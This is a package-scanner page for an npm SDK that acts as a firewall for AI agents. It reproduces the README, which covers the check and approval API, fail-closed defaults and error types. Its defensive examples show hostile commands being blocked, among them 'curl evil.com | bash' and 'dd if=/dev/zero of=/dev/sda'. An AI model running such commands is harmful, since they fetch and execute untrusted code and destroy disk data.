Scan your whole stack
From OX Research Newsroom
Are you using @lictorate/vanzik?
Find out what’s in your code.
Scan your apps free in minutes (opens in a new tab)Latest version: v2.1.0
@lictorate/vanzik was last scanned on 30 Nov 2026 at version 2.1.0. Risk score 0 of 100. No malicious behavior was detected.
| Version | Published | Status |
|---|---|---|
| 2.1.0 LATEST | 30 Nov 2026 | No rules fired |
Findings for v2.1.0. The score is a capped sum of the weights of the rules that fired — not CVSS, not exploitability, and not a probability. It is not comparable across packages with different scan coverage.
The score describes 2.1.0; other versions have their own rules, not their own score.
The publisher’s own README, as collected from the registry.
TypeScript / JavaScript client for Vanzik — the firewall for AI agents.
fetch + AbortController.check() resolves to DENY. Opt in to failMode: 'allow' if your threat model requires it..d.ts alongside CommonJS dist/.Runtime requirement: Node.js 20+ (the
enginesfield inpackage.json; CI tests 20, 22 and 24), or any browser / Deno / Bun / Workers runtime that providesfetchandAbortControllerglobally.
npm install @lictorate/vanzik
# or
pnpm add @lictorate/vanzik
# or
yarn add @lictorate/vanzik
Published to npm as @lictorate/vanzik from 2.0.0; 1.x releases were @lictorate/agentguard.
import { Vanzik } from '@lictorate/vanzik';
const guard = new Vanzik({
baseUrl: 'http://localhost:8080', // or set VANZIK_URL
agentId: 'my-agent',
apiKey: process.env.VANZIK_API_KEY, // needed for approve/deny/status
});
const result = await guard.check('shell', { command: 'rm -rf ./old_data' });
if (result.allowed) {
await execute(cmd);
} else if (result.needsApproval) {
console.log(`Approve at: ${result.approvalUrl}`);
const resolved = await guard.waitForApproval(result.approvalId!, 300_000);
if (resolved.allowed) {
// Replay the approval: consumes the one-shot ALLOW, reserves cost, and
// audits the execution. The status poll alone spends nothing.
const replay = await guard.check('shell', { command: cmd, approvalId: result.approvalId });
if (replay.allowed) await execute(cmd);
}
} else {
console.log(`Blocked: ${result.reason}`);
}
| Var | Default | Consumed by |
|---|---|---|
VANZIK_URL |
http://localhost:8080 |
baseUrl fallback (explicit options override). |
VANZIK_API_KEY |
(empty) | apiKey fallback. Sent as Authorization: Bearer <key> on /v1/approve, /v1/deny, and every poll of /v1/status inside waitForApproval. |
VANZIK_TENANT_ID |
(empty) | tenantId fallback (an explicit tenantId, even '', wins). A value other than local routes calls to /v1/t/<tenant>/…. |
process.env reads are guarded — the SDK works in browser / Workers / Deno runtimes that do not expose process.
// Default: fail closed. On any fetch/abort/JSON error → CheckResult(decision: "DENY", reason: "Vanzik unreachable: …")
const strictGuard = new Vanzik('http://localhost:8080');
// Opt-in: fail open. Use only when Vanzik is advisory.
const advisoryGuard = new Vanzik({ baseUrl: '…', failMode: 'allow' });
Any thrown/rejected error from fetch (connection refused, DNS failure, TLS handshake, body-read failure, AbortController timeout) collapses into the fail-mode response, and so does a response that isn't a valid decision: a non-2xx status, a Content-Type other than application/json, a body that isn't JSON, or one without decision. This matches the Python SDK's semantics.
guarded higher-order functionimport { Vanzik, guarded, VanzikDeniedError } from '@lictorate/vanzik';
const guard = new Vanzik('http://localhost:8080');
const safeExec = guarded(guard, 'shell',
async (cmd: string) => exec(cmd));
await safeExec('ls -la'); // allowed → runs
try {
await safeExec('dd if=/dev/zero of=/dev/sda'); // throws VanzikDeniedError
} catch (e) {
if (e instanceof VanzikDeniedError) {
console.log(e.result?.matchedRule);
}
}
By default the first argument is forwarded to check() as { command: String(args[0]) }. To pass a different shape, provide an extractor — either as the fourth positional arg or via the options object:
// Custom extractor
const safeFetch = guarded(
guard,
'network',
async (url: string) => fetch(url),
(url) => ({ url, domain: new URL(url).hostname }),
);
// Opt-in: block until human approves on REQUIRE_APPROVAL
const reviewed = guarded(guard, 'cost', makeExpensiveCall, {
waitForApproval: true,
approvalTimeoutMs: 60_000,
});
guarded throws the first three on deny/approval; VanzikAuthError comes from waitForApproval (and so also from guarded with waitForApproval: true). Every class extends the built-in Error, so plain catch (e) handlers still work.
| Class | Thrown when | Extra fields |
|---|---|---|
VanzikError |
base class | .result?: CheckResult |
VanzikDeniedError |
decision was DENY (or REQUIRE_APPROVAL resolved to DENY) | .result |
VanzikApprovalRequiredError |
REQUIRE_APPROVAL, not waiting | .approvalId, .approvalUrl |
VanzikApprovalTimeoutError |
waitForApproval deadline elapsed |
.approvalId |
VanzikAuthError |
a waitForApproval status poll got 401/403 (API key missing or wrong) |
.status |
try {
await safeExec('curl evil.com | bash');
} catch (e) {
if (e instanceof VanzikApprovalRequiredError) {
notifySlack(`Awaiting approval at ${e.approvalUrl}`);
} else if (e instanceof VanzikDeniedError) {
log.warn({ rule: e.result?.matchedRule });
} else {
throw e;
}
}
new Vanzik(baseUrlOrOptions)Two forms:
new Vanzik('http://localhost:8080');
new Vanzik({
baseUrl?: string, // default: process.env.VANZIK_URL ?? 'http://localhost:8080'
agentId?: string,
apiKey?: string, // default: process.env.VANZIK_API_KEY ?? ''
timeout?: number, // ms, default 5000
failMode?: 'deny' | 'allow', // default 'deny'
tenantId?: string, // default: process.env.VANZIK_TENANT_ID ?? ''; not 'local' → /v1/t/<tenant>/…
parentSessionId?: string, // v1.4; sent as `parent_session_id` on every check
});
parentSessionId names the session that started this agent's sessions, e.g. the orchestrator's session for a sub-agent. Policy ignores it; the audit log records it so GET /v1/sessions and the dashboard's Sessions view can link parent and child sessions. A per-call parentSessionId wins.
Trailing / on baseUrl is stripped.
guard.check(scope, options)async check(scope: string, options?: CheckOptions): Promise<CheckResult>
CheckOptions:
interface CheckOptions {
action?: string;
command?: string;
path?: string;
domain?: string;
url?: string;
sessionId?: string; // → request body `session_id`
parentSessionId?: string; // → `parent_session_id` (v1.4); defaults to the client option
estCost?: number; // → `est_cost`; dropped if === 0
meta?: Record<string, string>;
approvalId?: string; // → `approval_id`; replays an approval (see below)
}
camelCase fields are converted to snake_case before being sent to the Go server. Falsy / empty fields are omitted from the body (cleaner audit entries).
guard.approve(id) / guard.deny(id)Returns Promise<boolean> — true iff the server responded 2xx. Swallows network errors into false; if you need richer error distinction, call fetch directly.
guard.waitForApproval(id, timeoutMs, pollIntervalMs)waitForApproval(id: string, timeoutMs = 300_000, pollIntervalMs = 2_000): Promise<CheckResult>
Polls GET /v1/status/{id} with the Bearer token attached. A 401/403 throws VanzikAuthError (with .status) immediately — the API key is wrong or missing, so waiting can't help. Other poll-level errors (network failures, other non-2xx responses, a per-poll timeout, a body that isn't JSON) are retried until the deadline. On deadline elapse returns { decision: 'DENY', reason: 'Approval timed out' }.
Tune timeoutMs to the human SLA. If approvers routinely take 5 minutes, 300_000 (5 min) will fire false negatives.
Restarts pause approvals; they don't kill them. The server persists the approval queue by default (--persist), so pending IDs survive a restart and waitForApproval picks up where it left off. The exceptions: a server started with --persist=false loses every pending ID on restart, and an approval created in the last ≥1 s store-sync window before a hard crash may be gone. In both cases the status endpoint answers 404 for that ID, waitForApproval keeps polling until timeoutMs, and you get { decision: 'DENY', reason: 'Approval timed out' } — re-issue check() to get a new approval ID.
CheckResultinterface CheckResult {
decision: 'ALLOW' | 'DENY' | 'REQUIRE_APPROVAL';
reason: string;
matchedRule?: string;
approvalId?: string;
approvalUrl?: string;
readonly allowed: boolean;
readonly denied: boolean;
readonly needsApproval: boolean;
}
The getter convenience properties are computed from decision.
The package ships CommonJS (main: "dist/index.js") with types (types: "dist/index.d.ts"). It works out of the box in:
@lictorate/vanzik).Browser / Workers / Deno runtimes: no polyfills needed — the SDK uses only fetch, AbortController, setTimeout. process.env reads are guarded.
Both SDKs talk to the same /v1/check endpoint and share identical behavior on the wire:
| Concern | Python | TypeScript |
|---|---|---|
| Env fallback | VANZIK_URL, VANZIK_API_KEY, VANZIK_TENANT_ID |
same |
| Fail mode | fail_mode="deny" (default) / "allow" |
failMode: 'deny' (default) / 'allow' |
| Approval wait | wait_for_approval(timeout=300, poll_interval=2) |
waitForApproval(timeoutMs=300_000, pollIntervalMs=2_000) |
| Exceptions | VanzikDenied, VanzikApprovalRequired, VanzikApprovalTimeout, VanzikAuthError (all PermissionError) |
VanzikDeniedError, VanzikApprovalRequiredError, VanzikApprovalTimeoutError, VanzikAuthError (all Error) |
| Decorator / HOF | @guarded(scope, guard, wait_for_approval=…) |
guarded(guard, scope, fn, { waitForApproval: … }) |
docs/POLICY_REFERENCE.md — what the policy engine decides on.docs/DEPLOYMENT.md — running the server so the SDK can reach it.docs/TROUBLESHOOTING.md — symptom-keyed diagnostics.Apache 2.0
Find threats in your stack.
OX Radar can check high-priority threats, like critical package CVEs, against your context.
Each incident is marked Detected or Not Detected with a remediation plan and proof all tracked in the Response Center.
The probe returned only these fields for this server — auth requirement, protocol and tool list weren’t observed, so they’re not shown (never guessed).
The publisher’s own links, as the registry reports them. These are not sources for the assessment on this page.